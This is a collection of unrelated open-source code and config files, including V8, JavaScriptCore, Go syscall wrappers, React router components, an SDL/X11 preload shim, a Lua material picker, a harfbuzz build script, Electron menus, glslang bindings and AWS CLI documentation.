DCHECK(frame_->is_java_script() || frame_->is_exit() ||
frame_->is_builtin_exit() || frame_->is_wasm() ||
frame_->is_wasm_to_js() || frame_->is_js_to_wasm());
return frame_;
}
} // namespace internal
} // namespace v8
#endif // V8_EXECUTION_FRAMES_INL_H_
| {
"pile_set_name": "Github"
} |
/*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
/*
* This code was generated by https://github.com/googleapis/google-api-java-client-services/
* Modify at your own risk.
*/
package com.google.api.services.datafusion.v1beta1.model;
/**
* This resource represents a long-running operation that is the result of a network API call.
*
* <p> This is the Java data model class that specifies how to parse/serialize into the JSON that is
* transmitted over HTTP when working with the Cloud Data Fusion API. For a detailed explanation
* see:
* <a href="https://developers.google.com/api-client-library/java/google-http-java-client/json">https://developers.google.com/api-client-library/java/google-http-java-client/json</a>
* </p>
*
* @author Google, Inc.
*/
@SuppressWarnings("javadoc")
public final class Operation extends com.google.api.client.json.GenericJson {
/**
* If the value is `false`, it means the operation is still in progress. If `true`, the operation
* is completed, and either `error` or `response` is available.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.lang.Boolean done;
/**
* The error result of the operation in case of failure or cancellation.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private Status error;
/**
* Service-specific metadata associated with the operation. It typically contains progress
* information and common metadata such as create time. Some services might not provide such
* metadata. Any method that returns a long-running operation should document the metadata type,
* if any.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.util.Map<String, java.lang.Object> metadata;
/**
* The server-assigned name, which is only unique within the same service that originally returns
* it. If you use the default HTTP mapping, the `name` should be a resource name ending with
* `operations/{unique_id}`.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.lang.String name;
/**
* The normal response of the operation in case of success. If the original method returns no data
* on success, such as `Delete`, the response is `google.protobuf.Empty`. If the original method
* is standard `Get`/`Create`/`Update`, the response should be the resource. For other methods,
* the response should have the type `XxxResponse`, where `Xxx` is the original method name. For
* example, if the original method name is `TakeSnapshot()`, the inferred response type is
* `TakeSnapshotResponse`.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.util.Map<String, java.lang.Object> response;
/**
* If the value is `false`, it means the operation is still in progress. If `true`, the operation
* is completed, and either `error` or `response` is available.
* @return value or {@code null} for none
*/
public java.lang.Boolean getDone() {
return done;
}
/**
* If the value is `false`, it means the operation is still in progress. If `true`, the operation
* is completed, and either `error` or `response` is available.
* @param done done or {@code null} for none
*/
public Operation setDone(java.lang.Boolean done) {
this.done = done;
return this;
}
/**
* The error result of the operation in case of failure or cancellation.
* @return value or {@code null} for none
*/
public Status getError() {
return error;
}
/**
* The error result of the operation in case of failure or cancellation.
* @param error error or {@code null} for none
*/
public Operation setError(Status error) {
this.error = error;
return this;
}
/**
* Service-specific metadata associated with the operation. It typically contains progress
* information and common metadata such as create time. Some services might not provide such
* metadata. Any method that returns a long-running operation should document the metadata type,
* if any.
* @return value or {@code null} for none
*/
public java.util.Map<String, java.lang.Object> getMetadata() {
return metadata;
}
/**
* Service-specific metadata associated with the operation. It typically contains progress
* information and common metadata such as create time. Some services might not provide such
* metadata. Any method that returns a long-running operation should document the metadata type,
* if any.
* @param metadata metadata or {@code null} for none
*/
public Operation setMetadata(java.util.Map<String, java.lang.Object> metadata) {
this.metadata = metadata;
return this;
}
/**
* The server-assigned name, which is only unique within the same service that originally returns
* it. If you use the default HTTP mapping, the `name` should be a resource name ending with
* `operations/{unique_id}`.
* @return value or {@code null} for none
*/
public java.lang.String getName() {
return name;
}
/**
* The server-assigned name, which is only unique within the same service that originally returns
* it. If you use the default HTTP mapping, the `name` should be a resource name ending with
* `operations/{unique_id}`.
* @param name name or {@code null} for none
*/
public Operation setName(java.lang.String name) {
this.name = name;
return this;
}
/**
* The normal response of the operation in case of success. If the original method returns no data
* on success, such as `Delete`, the response is `google.protobuf.Empty`. If the original method
* is standard `Get`/`Create`/`Update`, the response should be the resource. For other methods,
* the response should have the type `XxxResponse`, where `Xxx` is the original method name. For
* example, if the original method name is `TakeSnapshot()`, the inferred response type is
* `TakeSnapshotResponse`.
* @return value or {@code null} for none
*/
public java.util.Map<String, java.lang.Object> getResponse() {
return response;
}
/**
* The normal response of the operation in case of success. If the original method returns no data
* on success, such as `Delete`, the response is `google.protobuf.Empty`. If the original method
* is standard `Get`/`Create`/`Update`, the response should be the resource. For other methods,
* the response should have the type `XxxResponse`, where `Xxx` is the original method name. For
* example, if the original method name is `TakeSnapshot()`, the inferred response type is
* `TakeSnapshotResponse`.
* @param response response or {@code null} for none
*/
public Operation setResponse(java.util.Map<String, java.lang.Object> response) {
this.response = response;
return this;
}
@Override
public Operation set(String fieldName, Object value) {
return (Operation) super.set(fieldName, value);
}
@Override
public Operation clone() {
return (Operation) super.clone();
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2008 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef ResultType_h
#define ResultType_h
namespace JSC {
struct ResultType {
friend struct OperandTypes;
typedef char Type;
static const Type TypeReusable = 1;
static const Type TypeInt32 = 2;
static const Type TypeMaybeNumber = 0x04;
static const Type TypeMaybeString = 0x08;
static const Type TypeMaybeNull = 0x10;
static const Type TypeMaybeBool = 0x20;
static const Type TypeMaybeOther = 0x40;
static const Type TypeBits = TypeMaybeNumber | TypeMaybeString | TypeMaybeNull | TypeMaybeBool | TypeMaybeOther;
explicit ResultType(Type type)
: m_type(type)
{
}
bool isReusable()
{
return m_type & TypeReusable;
}
bool isInt32()
{
return m_type & TypeInt32;
}
bool definitelyIsNumber()
{
return (m_type & TypeBits) == TypeMaybeNumber;
}
bool definitelyIsString()
{
return (m_type & TypeBits) == TypeMaybeString;
}
bool mightBeNumber()
{
return m_type & TypeMaybeNumber;
}
bool isNotNumber()
{
return !mightBeNumber();
}
static ResultType nullType()
{
return ResultType(TypeMaybeNull);
}
static ResultType booleanType()
{
return ResultType(TypeMaybeBool);
}
static ResultType numberType()
{
return ResultType(TypeMaybeNumber);
}
static ResultType numberTypeCanReuse()
{
return ResultType(TypeReusable | TypeMaybeNumber);
}
static ResultType numberTypeCanReuseIsInt32()
{
return ResultType(TypeReusable | TypeInt32 | TypeMaybeNumber);
}
static ResultType stringOrNumberTypeCanReuse()
{
return ResultType(TypeReusable | TypeMaybeNumber | TypeMaybeString);
}
static ResultType stringType()
{
return ResultType(TypeMaybeString);
}
static ResultType unknownType()
{
return ResultType(TypeBits);
}
static ResultType forAdd(ResultType op1, ResultType op2)
{
if (op1.definitelyIsNumber() && op2.definitelyIsNumber())
return numberTypeCanReuse();
if (op1.definitelyIsString() || op2.definitelyIsString())
return stringType();
return stringOrNumberTypeCanReuse();
}
static ResultType forBitOp()
{
return numberTypeCanReuseIsInt32();
}
private:
Type m_type;
};
struct OperandTypes
{
OperandTypes(ResultType first = ResultType::unknownType(), ResultType second = ResultType::unknownType())
{
// We have to initialize one of the int to ensure that
// the entire struct is initialized.
m_u.i = 0;
m_u.rds.first = first.m_type;
m_u.rds.second = second.m_type;
}
union {
struct {
ResultType::Type first;
ResultType::Type second;
} rds;
int i;
} m_u;
ResultType first()
{
return ResultType(m_u.rds.first);
}
ResultType second()
{
return ResultType(m_u.rds.second);
}
int toInt()
{
return m_u.i;
}
static OperandTypes fromInt(int value)
{
OperandTypes types;
types.m_u.i = value;
return types;
}
};
} // namespace JSC
#endif // ResultType_h
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: 60c34a52abeee7f41948634674260a81
PrefabImporter:
externalObjects: {}
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
// Copyright 2014 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build darwin dragonfly freebsd linux netbsd openbsd
package unix
import "unsafe"
// fcntl64Syscall is usually SYS_FCNTL, but is overridden on 32-bit Linux
// systems by flock_linux_32bit.go to be SYS_FCNTL64.
var fcntl64Syscall uintptr = SYS_FCNTL
// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
valptr, _, errno := Syscall(fcntl64Syscall, fd, uintptr(cmd), uintptr(arg))
var err error
if errno != 0 {
err = errno
}
return int(valptr), err
}
// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
_, _, errno := Syscall(fcntl64Syscall, fd, uintptr(cmd), uintptr(unsafe.Pointer(lk)))
if errno == 0 {
return nil
}
return errno
}
| {
"pile_set_name": "Github"
} |
<div class="bar" w-bind="./widget">
${data.label}
</div> | {
"pile_set_name": "Github"
} |
import React from "react";
import PropTypes from "prop-types";
import { history as historyType } from "./PropTypes";
class Action extends React.Component {
static propTypes = {
perform: PropTypes.func.isRequired
};
static contextTypes = {
history: historyType.isRequired
};
performAction() {
this.props.perform(this.context.history);
}
componentDidMount() {
this.performAction();
}
componentDidUpdate() {
this.performAction();
}
render() {
return null;
}
}
export const Push = ({ location, path, state }) => (
<Action perform={history => history.push(location || path, state)} />
);
Push.propTypes = {
path: PropTypes.string,
state: PropTypes.object,
location: PropTypes.shape({
pathname: PropTypes.string,
search: PropTypes.string,
hash: PropTypes.string,
state: PropTypes.object
})
};
export const Replace = ({ location, path, state }) => (
<Action perform={history => history.replace(location || path, state)} />
);
Replace.propTypes = Push.propTypes;
export const Pop = ({ go }) => <Action perform={history => history.go(go)} />;
Pop.propTypes = {
go: PropTypes.number
};
Pop.defaultProps = {
go: -1
};
export const Back = () => <Action perform={history => history.goBack()} />;
export const Forward = () => (
<Action perform={history => history.goForward()} />
);
| {
"pile_set_name": "Github"
} |
#define _GNU_SOURCE
#include <SDL/SDL.h>
#include <dlfcn.h>
#include <X11/Xlib.h>
#include <stdio.h>
/*
SDL_GrabMode SDL_WM_GrabInput(SDL_GrabMode mode) {
printf("SDL_WM_GrabInput\n");
return mode;
}
int SDL_ShowCursor(int toggle) {
printf("SDL_ShowCursor(%i)\n", toggle);
return toggle;
}
void SDL_WarpMouse(Uint16 x, Uint16 y) {
printf("SDL_WM_WarpMouse\n");
}
int SDL_PollEvent(SDL_Event *event) {
return 0;
}
*/
int SDL_SetGamma(float r, float g, float b) {
printf("-!- Skipping SDL_SetGamma(%.2f, %.2f, %.2f)\n", r, g, b);
return 0;
}
static Display *g_display;
static int displayRefs = 0;
typedef Display *(*XOPENDISPLAYPTR)(const char *);
Display *XOpenDisplay(const char *display_name) {
static XOPENDISPLAYPTR real_XOpenDisplay;
if (!real_XOpenDisplay) {
real_XOpenDisplay = (XOPENDISPLAYPTR)dlsym(RTLD_NEXT, "XOpenDisplay");
}
if (!g_display) {
g_display = real_XOpenDisplay(display_name);
}
displayRefs++;
return g_display;
}
typedef int (*XCLOSEDISPLAYPTR)(Display *);
int XCloseDisplay(Display *display) {
static XCLOSEDISPLAYPTR real_XCloseDisplay;
if (!real_XCloseDisplay) {
real_XCloseDisplay = (XCLOSEDISPLAYPTR)dlsym(RTLD_NEXT, "XCloseDisplay");
}
if (g_display == display && displayRefs > 0) {
if (displayRefs-- == 0) {
g_display = NULL;
return real_XCloseDisplay(display);
}
}
return 0;
}
/* Pandora crashes on mouse events caused by libxi. Workaround by overriding this... */
int XIQueryVersion(void *display, int *major, int *minor) {
printf("-!- Skipping Xinput(%d, %d) query for display: %p\n", (major?*major:0), (minor?*minor:0), display);
return 1; // BadRequest
}
/*
typedef int (*XSYNCPTR)(Display *, Bool);
int XSync(Display *display, Bool discard) {
// discard = 1;
static XSYNCPTR real_XSync;
if (!real_XSync) {
real_XSync = (XSYNCPTR)dlsym(RTLD_NEXT, "XSync");
}
return real_XSync(display, discard);
}
*/
| {
"pile_set_name": "Github"
} |
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportHeight="24.0"
android:viewportWidth="24.0">
<path
android:fillColor="#fff"
android:pathData="M8.59,16.34l4.58,-4.59 -4.58,-4.59L10,5.75l6,6 -6,6z" />
</vector>
| {
"pile_set_name": "Github"
} |
<?php
namespace PaymentMethod\Controller;
/**
* Interface AbstractPaymentInterface
* @package PaymentMethod\Controller
*/
interface AbstractPaymentInterface
{
public function authorizationSuccessAction();
public function authorizationErrorAction();
public function captureSuccessAction();
public function captureErrorAction();
public function paymentSuccessAction();
public function paymentErrorAction();
public function setupSuccessAction();
public function setupErrorAction();
} | {
"pile_set_name": "Github"
} |
foo = qux (h Control.Monad.>=> g)
| {
"pile_set_name": "Github"
} |
var isSpace = require('./isSpace');
/**
* Used by `_.trim` and `_.trimRight` to get the index of the last non-whitespace
* character of `string`.
*
* @private
* @param {string} string The string to inspect.
* @returns {number} Returns the index of the last non-whitespace character.
*/
function trimmedRightIndex(string) {
var index = string.length;
while (index-- && isSpace(string.charCodeAt(index))) {}
return index;
}
module.exports = trimmedRightIndex;
| {
"pile_set_name": "Github"
} |
local PANEL = {}
AccessorFunc( PANEL, "ItemWidth", "ItemWidth", FORCE_NUMBER )
AccessorFunc( PANEL, "ItemHeight", "ItemHeight", FORCE_NUMBER )
AccessorFunc( PANEL, "Height", "NumRows", FORCE_NUMBER )
AccessorFunc( PANEL, "m_bSizeToContent", "AutoHeight", FORCE_BOOL )
local border = 0
local border_w = 8
local matHover = Material( "gui/ps_hover.png", "nocull" )
local boxHover = GWEN.CreateTextureBorder( border, border, 64 - border * 2, 64 - border * 2, border_w, border_w, border_w, border_w, matHover )
-- This function is used as the paint function for selected buttons.
local function HighlightedButtonPaint( self, w, h )
boxHover( 0, 0, w, h, color_white )
end
function PANEL:Init()
-- A panellist is a panel that you shove other panels
-- into and it makes a nice organised frame.
self.List = vgui.Create( "DPanelList", self )
self.List:EnableHorizontal( true )
self.List:EnableVerticalScrollbar()
self.List:SetSpacing( 1 )
self.List:SetPadding( 3 )
self.Controls = {}
self.Height = 2
self:SetItemWidth( 128 )
self:SetItemHeight( 128 )
end
function PANEL:SetAutoHeight( bAutoHeight )
self.m_bSizeToContent = bAutoHeight
self.List:SetAutoSize( bAutoHeight )
self:InvalidateLayout()
end
function PANEL:AddMaterial( label, value )
-- Creeate a spawnicon and set the model
local Mat = vgui.Create( "DImageButton", self )
Mat:SetOnViewMaterial( value, "models/wireframe" )
Mat.AutoSize = false
Mat.Value = value
Mat:SetSize( self.ItemWidth, self.ItemHeight )
Mat:SetTooltip( label )
-- Run a console command when the Icon is clicked
Mat.DoClick = function( button )
RunConsoleCommand( self:ConVar(), value )
end
Mat.DoRightClick = function( button )
local menu = DermaMenu()
menu:AddOption( "#spawnmenu.menu.copy", function() SetClipboardText( value ) end ):SetIcon( "icon16/page_copy.png" )
menu:Open()
end
-- Add the Icon us
self.List:AddItem( Mat )
table.insert( self.Controls, Mat )
self:InvalidateLayout()
end
function PANEL:SetItemSize( pnl )
local maxW = self:GetWide()
if ( self.List.VBar && self.List.VBar.Enabled ) then maxW = maxW - self.List.VBar:GetWide() end
local w = self.ItemWidth
if ( w < 1 ) then
local numIcons = math.floor( 1 / w )
w = math.floor( ( maxW - self.List:GetPadding() * 2 - self.List:GetSpacing() * ( numIcons - 1 ) ) / numIcons )
end
local h = self.ItemHeight
if ( h < 1 ) then
local numIcons = math.floor( 1 / h )
h = math.floor( ( maxW - self.List:GetPadding() * 2 - self.List:GetSpacing() * ( numIcons - 1 ) ) / numIcons )
end
pnl:SetSize( w, h )
end
function PANEL:AddMaterialEx( label, material, value, convars )
-- Creeate a spawnicon and set the model
local Mat = vgui.Create( "DImageButton", self )
Mat:SetImage( material )
Mat.AutoSize = false
Mat.Value = value
Mat.ConVars = convars
self:SetItemSize( Mat )
Mat:SetTooltip( label )
-- Run a console command when the Icon is clicked
Mat.DoClick = function ( button )
for k, v in pairs( convars ) do RunConsoleCommand( k, v ) end
end
-- Add the Icon us
self.List:AddItem( Mat )
table.insert( self.Controls, Mat )
self:InvalidateLayout()
end
function PANEL:ControlValues( kv )
self.BaseClass.ControlValues( self, kv )
self.Height = kv.height or 2
-- Load the list of models from our keyvalues file
if ( kv.options ) then
for k, v in pairs( kv.options ) do
self:AddMaterial( k, v )
end
end
self.ItemWidth = kv.itemwidth or 32
self.ItemHeight = kv.itemheight or 32
for k, v in pairs( self.Controls ) do
v:SetSize( self.ItemWidth, self.ItemHeight )
end
self:InvalidateLayout()
end
function PANEL:PerformLayout()
self.List:SetPos( 0, 0 )
for k, v in pairs( self.List:GetItems() ) do
self:SetItemSize( v )
end
if ( self.m_bSizeToContent ) then
self.List:SetWide( self:GetWide() )
self.List:InvalidateLayout( true )
self:SetTall( self.List:GetTall() + 5 )
return
end
self.List:InvalidateLayout( true ) -- Rebuild
local maxW = self:GetWide()
if ( self.List.VBar && self.List.VBar.Enabled ) then maxW = maxW - self.List.VBar:GetWide() end
local h = self.ItemHeight
if ( h < 1 ) then
local numIcons = math.floor( 1 / h )
h = math.floor( ( maxW - self.List:GetPadding() * 2 - self.List:GetSpacing() * ( numIcons - 1 ) ) / numIcons )
end
local Height = ( h * self.Height ) + ( self.List:GetPadding() * 2 ) + self.List:GetSpacing() * ( self.Height - 1 )
self.List:SetSize( self:GetWide(), Height )
self:SetTall( Height + 5 )
end
function PANEL:FindAndSelectMaterial( Value )
self.CurrentValue = Value
for k, Mat in pairs( self.Controls ) do
if ( Mat.Value == Value ) then
-- Remove the old overlay
if ( self.SelectedMaterial ) then
self.SelectedMaterial.PaintOver = self.OldSelectedPaintOver
end
-- Add the overlay to this button
self.OldSelectedPaintOver = Mat.PaintOver
Mat.PaintOver = HighlightedButtonPaint
self.SelectedMaterial = Mat
end
end
end
function PANEL:TestForChanges()
local cvar = self:ConVar()
if ( !cvar ) then return end
local Value = GetConVarString( cvar )
if ( Value == self.CurrentValue ) then return end
self:FindAndSelectMaterial( Value )
end
vgui.Register( "MatSelect", PANEL, "ContextBase" )
| {
"pile_set_name": "Github"
} |
{
"name": "topthink/framework",
"description": "the new thinkphp framework",
"type": "think-framework",
"keywords": [
"framework",
"thinkphp",
"ORM"
],
"homepage": "http://thinkphp.cn/",
"license": "Apache-2.0",
"authors": [
{
"name": "liu21st",
"email": "[email protected]"
}
],
"require": {
"php": ">=5.4.0",
"topthink/think-installer": "~1.0"
},
"require-dev": {
"phpunit/phpunit": "4.8.*",
"johnkary/phpunit-speedtrap": "^1.0",
"mikey179/vfsStream": "~1.6",
"phploc/phploc": "2.*",
"sebastian/phpcpd": "2.*",
"phpdocumentor/reflection-docblock": "^2.0"
},
"autoload": {
"psr-4": {
"think\\": "library/think"
}
}
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env bash
MASON_NAME=harfbuzz
MASON_VERSION=1.1.2
MASON_LIB_FILE=lib/libharfbuzz.a
MASON_PKGCONFIG_FILE=lib/pkgconfig/harfbuzz.pc
. ${MASON_DIR}/mason.sh
function mason_load_source {
mason_download \
https://www.freedesktop.org/software/harfbuzz/release/harfbuzz-${MASON_VERSION}.tar.bz2 \
bcd27708cca5f47c11dba7d2030f33af3ae4f0cf
mason_extract_tar_bz2
export MASON_BUILD_PATH=${MASON_ROOT}/.build/${MASON_NAME}-${MASON_VERSION}
}
function mason_prepare_compile {
FREETYPE_VERSION="2.6"
${MASON_DIR}/mason install freetype ${FREETYPE_VERSION}
MASON_FREETYPE=$(${MASON_DIR}/mason prefix freetype ${FREETYPE_VERSION})
MASON_PLATFORM= ${MASON_DIR}/mason install ragel 6.9
export PATH=$(MASON_PLATFORM= ${MASON_DIR}/mason prefix ragel 6.9)/bin:$PATH
export PKG_CONFIG_PATH="$(${MASON_DIR}/mason prefix freetype ${FREETYPE_VERSION})/lib/pkgconfig":${PKG_CONFIG_PATH:-}
export C_INCLUDE_PATH="${MASON_FREETYPE}/include/freetype2"
export CPLUS_INCLUDE_PATH="${MASON_FREETYPE}/include/freetype2"
export LIBRARY_PATH="${MASON_FREETYPE}/lib"
if [[ ! `which pkg-config` ]]; then
echo "harfbuzz configure needs pkg-config, please install pkg-config"
exit 1
fi
}
function mason_compile {
export FREETYPE_CFLAGS="-I${MASON_FREETYPE}/include/freetype2"
export FREETYPE_LIBS="-L${MASON_FREETYPE}/lib -lfreetype -lz"
# Note CXXFLAGS overrides the harbuzz default with is `-O2 -g`
export CXXFLAGS="${CXXFLAGS} ${FREETYPE_CFLAGS} -O3 -DNDEBUG"
export CFLAGS="${CFLAGS} ${FREETYPE_CFLAGS} -O3 -DNDEBUG"
export LDFLAGS="${LDFLAGS} ${FREETYPE_LIBS}"
./configure --prefix=${MASON_PREFIX} ${MASON_HOST_ARG} \
--enable-static \
--disable-shared \
--disable-dependency-tracking \
--with-icu=no \
--with-cairo=no \
--with-glib=no \
--with-gobject=no \
--with-graphite2=no \
--with-freetype \
--with-uniscribe=no \
--with-coretext=no
make -j${MASON_CONCURRENCY} V=1
make install
}
function mason_ldflags {
: # We're only using the full path to the archive, which is output in static_libs
}
function mason_cflags {
echo "-I${MASON_PREFIX}/include"
}
function mason_clean {
make clean
}
mason_run "$@"
| {
"pile_set_name": "Github"
} |
const { remote } = require('electron');
const {
Menu, MenuItem,
} = remote;
const buildMenu = (menu) => {
menu.append(new MenuItem({
role: 'cut',
accelerator: 'CmdOrCtrl+X',
}));
menu.append(new MenuItem({
role: 'copy',
accelerator: 'CmdOrCtrl+C',
}));
menu.append(new MenuItem({
role: 'paste',
accelerator: 'CmdOrCtrl+V',
}));
menu.append(new MenuItem({
role: 'delete',
}));
menu.append(new MenuItem({
role: 'selectall',
accelerator: 'CmdOrCtrl+A',
}));
};
const replace = (text) => {
let selection;
let range;
if (window.getSelection()) {
selection = window.getSelection();
if (selection.rangeCount) {
range = selection.getRangeAt(0);
range.deleteContents();
const node = document.createTextNode(text);
range.insertNode(node);
range.selectNodeContents(node);
}
}
};
const add = (text) => {
window.spellChecker.add(text);
};
module.exports = (selection) => {
const menu = new Menu();
if (selection.isMisspelled) {
if (selection.suggestions.length === 0) {
menu.append(new MenuItem({
label: 'No Guesses Found',
enabled: false,
}));
} else {
selection.suggestions.forEach((suggestion) => {
menu.append(new MenuItem({
label: suggestion,
click: () => {
replace(suggestion);
},
}));
});
}
menu.append(new MenuItem({ type: 'separator' }));
// Add the word to the dictionary
menu.append(new MenuItem({
label: 'Learn Word',
click: () => {
add(selection.word);
},
}));
menu.append(new MenuItem({ type: 'separator' }));
}
buildMenu(menu);
return menu;
};
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Net.Http" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.1.1.3" newVersion="4.1.1.3" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.6.0" newVersion="4.0.6.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Memory" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.1.1" newVersion="4.0.1.1" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Buffers" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.3.0" newVersion="4.0.3.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Threading.Tasks.Extensions" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.2.0.1" newVersion="4.2.0.1" />
</dependentAssembly>
</assemblyBinding>
</runtime>
</configuration> | {
"pile_set_name": "Github"
} |
/**
This code is based on the glslang_c_interface implementation by Viktor Latypov
**/
/**
BSD 2-Clause License
Copyright (c) 2019, Viktor Latypov
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
**/
#include "glslang/Include/glslang_c_interface.h"
#include "SPIRV/GlslangToSpv.h"
#include "SPIRV/Logger.h"
#include "SPIRV/SpvTools.h"
typedef struct glslang_program_s {
glslang::TProgram* program;
std::vector<unsigned int> spirv;
std::string loggerMessages;
} glslang_program_t;
static EShLanguage c_shader_stage(glslang_stage_t stage)
{
switch (stage) {
case GLSLANG_STAGE_VERTEX:
return EShLangVertex;
case GLSLANG_STAGE_TESSCONTROL:
return EShLangTessControl;
case GLSLANG_STAGE_TESSEVALUATION:
return EShLangTessEvaluation;
case GLSLANG_STAGE_GEOMETRY:
return EShLangGeometry;
case GLSLANG_STAGE_FRAGMENT:
return EShLangFragment;
case GLSLANG_STAGE_COMPUTE:
return EShLangCompute;
case GLSLANG_STAGE_RAYGEN_NV:
return EShLangRayGen;
case GLSLANG_STAGE_INTERSECT_NV:
return EShLangIntersect;
case GLSLANG_STAGE_ANYHIT_NV:
return EShLangAnyHit;
case GLSLANG_STAGE_CLOSESTHIT_NV:
return EShLangClosestHit;
case GLSLANG_STAGE_MISS_NV:
return EShLangMiss;
case GLSLANG_STAGE_CALLABLE_NV:
return EShLangCallable;
case GLSLANG_STAGE_TASK_NV:
return EShLangTaskNV;
case GLSLANG_STAGE_MESH_NV:
return EShLangMeshNV;
default:
break;
}
return EShLangCount;
}
GLSLANG_EXPORT void glslang_program_SPIRV_generate(glslang_program_t* program, glslang_stage_t stage)
{
spv::SpvBuildLogger logger;
glslang::SpvOptions spvOptions;
spvOptions.validate = true;
const glslang::TIntermediate* intermediate = program->program->getIntermediate(c_shader_stage(stage));
glslang::GlslangToSpv(*intermediate, program->spirv, &logger, &spvOptions);
program->loggerMessages = logger.getAllMessages();
}
GLSLANG_EXPORT size_t glslang_program_SPIRV_get_size(glslang_program_t* program) { return program->spirv.size(); }
GLSLANG_EXPORT void glslang_program_SPIRV_get(glslang_program_t* program, unsigned int* out)
{
memcpy(out, program->spirv.data(), program->spirv.size() * sizeof(unsigned int));
}
GLSLANG_EXPORT unsigned int* glslang_program_SPIRV_get_ptr(glslang_program_t* program)
{
return program->spirv.data();
}
GLSLANG_EXPORT const char* glslang_program_SPIRV_get_messages(glslang_program_t* program)
{
return program->loggerMessages.empty() ? nullptr : program->loggerMessages.c_str();
}
| {
"pile_set_name": "Github"
} |
**To remove the access policy of a vault**
The following ``delete-vault-access-policy`` example removes the access policy for the specified vault. ::
aws glacier delete-vault-access-policy \
--account-id 111122223333 \
--vault-name example_vault
This command produces no output.
| {
"pile_set_name": "Github"
} |
@prefix dash: <http://datashapes.org/dash#> .
@prefix ex: <http://datashapes.org/sh/tests/core/property/minCount-002.test#> .
@prefix mf: <http://www.w3.org/2001/sw/DataAccess/tests/test-manifest#> .
@prefix owl: <http://www.w3.org/2002/07/owl#> .
